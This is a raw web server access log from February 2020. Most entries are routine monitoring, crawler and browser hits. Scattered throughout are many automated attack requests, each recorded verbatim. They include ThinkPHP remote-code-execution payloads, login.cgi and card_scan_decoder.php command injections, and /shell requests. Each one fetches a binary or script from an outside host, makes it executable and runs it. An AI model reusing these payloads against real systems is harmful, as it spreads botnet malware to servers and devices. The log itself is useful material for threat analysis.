212.91.246.72 - - [03/Feb/2020:15:47:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
69.176.89.53 - - [03/Feb/2020:15:47:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
69.176.89.53 - - [03/Feb/2020:15:47:48 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
69.176.89.53 - - [03/Feb/2020:15:47:49 +0100] "POST /Admin57f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
66.249.79.49 - - [03/Feb/2020:15:48:25 +0100] "GET /robots.txt HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.79.55 - - [03/Feb/2020:15:48:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [03/Feb/2020:15:48:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.218.81.75 - - [03/Feb/2020:15:48:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:15:49:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:50:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:51:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:52:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
170.80.243.138 - - [03/Feb/2020:15:53:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:15:53:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:54:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
154.79.246.254 - - [03/Feb/2020:15:55:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
109.94.120.37 - - [03/Feb/2020:15:55:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:15:55:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:56:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:57:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.148.132 - - [03/Feb/2020:15:57:42 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [03/Feb/2020:15:58:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:59:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.89.144.131 - - [03/Feb/2020:15:59:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
113.22.123.145 - - [03/Feb/2020:16:00:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:16:00:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:16:01:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.89.144.131 - - [03/Feb/2020:16:01:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
217.58.35.193 - - [03/Feb/2020:16:02:17 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 341 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [03/Feb/2020:16:02:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:16:03:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
52.87.171.209 - - [03/Feb/2020:16:03:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
52.87.171.209 - - [03/Feb/2020:16:03:49 +0100] "GET /favicon.ico HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
42.237.3.160 - - [03/Feb/2020:16:03:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
59.19.184.187 - - [03/Feb/2020:16:04:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [03/Feb/2020:16:04:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:16:05:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:16:06:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
159.203.2.252 - - [03/Feb/2020:16:06:36 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "-"
212.91.246.72 - - [03/Feb/2020:16:07:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:16:08:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.179.13.121 - - [03/Feb/2020:16:09:19 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [03/Feb/2020:16:09:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:16:10:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:16:11:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.104.112.231 - - [03/Feb/2020:16:11:35 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
49.68.246.198 - - [03/Feb/2020:16:11:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [03/Feb/2020:16:12:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.244.176 - - [03/Feb/2020:16:12:42 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [03/Feb/2020:16:13:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:16:14:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.108.120.33 - - [03/Feb/2020:16:15:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
73.33.112.155 - - [03/Feb/2020:16:15:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:16:15:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.41.38.182 - - [03/Feb/2020:16:16:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.41.38.182 - - [03/Feb/2020:16:16:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.41.38.182 - - [03/Feb/2020:16:16:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:16:16:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.41.38.182 - - [03/Feb/2020:16:16:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
51.254.59.113 - - [03/Feb/2020:16:16:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
41.41.38.182 - - [03/Feb/2020:16:17:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:16:17:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:16:18:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:16:19:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.136.100.107 - - [03/Feb/2020:16:20:09 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [03/Feb/2020:16:20:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.175.118.121 - - [03/Feb/2020:16:21:33 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [03/Feb/2020:16:21:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.175.118.121 - - [03/Feb/2020:16:21:37 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
134.175.118.121 - - [03/Feb/2020:16:21:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
52.39.23.41 - - [03/Feb/2020:16:22:16 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [03/Feb/2020:16:22:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.154.162 - - [03/Feb/2020:16:22:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:16:23:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.112.155.203 - - [03/Feb/2020:16:23:42 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
193.112.155.203 - - [03/Feb/2020:16:23:42 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
193.112.155.203 - - [03/Feb/2020:16:23:43 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
193.112.155.203 - - [03/Feb/2020:16:23:43 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
193.112.155.203 - - [03/Feb/2020:16:23:44 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
193.112.155.203 - - [03/Feb/2020:16:23:46 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
193.112.155.203 - - [03/Feb/2020:16:23:46 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
193.112.155.203 - - [03/Feb/2020:16:23:47 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
193.112.155.203 - - [03/Feb/2020:16:23:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [03/Feb/2020:16:24:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.213.31 - - [03/Feb/2020:16:25:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:16:25:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.51.57 - - [03/Feb/2020:16:25:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
189.153.201.141 - - [03/Feb/2020:16:26:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:16:26:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.196.102 - - [03/Feb/2020:16:26:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:16:27:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.179.162 - - [03/Feb/2020:16:28:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:16:28:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:16:29:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.202.40 - - [03/Feb/2020:16:30:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.20.29.126 - - [03/Feb/2020:16:30:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:16:30:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.211.25.157 - - [03/Feb/2020:16:30:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:16:31:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
52.13.19.76 - - [03/Feb/2020:16:31:49 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [03/Feb/2020:16:32:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:16:33:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.24.175 - - [03/Feb/2020:16:34:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:16:34:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:16:35:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.152.6.80 - - [03/Feb/2020:16:36:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [03/Feb/2020:16:36:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.207.195.52 - - [03/Feb/2020:16:36:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:16:37:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.192.123 - - [03/Feb/2020:16:37:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:16:38:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.188.97.236 - - [03/Feb/2020:16:38:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
219.155.186.95 - - [03/Feb/2020:16:38:35 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
52.199.176.230 - - [03/Feb/2020:16:39:03 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [03/Feb/2020:16:39:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:16:40:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:16:41:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:16:42:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.43.41 - - [03/Feb/2020:16:42:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:16:43:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:16:44:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:16:45:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.56.27.232 - - [03/Feb/2020:16:45:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:16:46:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:16:47:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:16:48:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:16:49:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:16:50:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:16:51:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
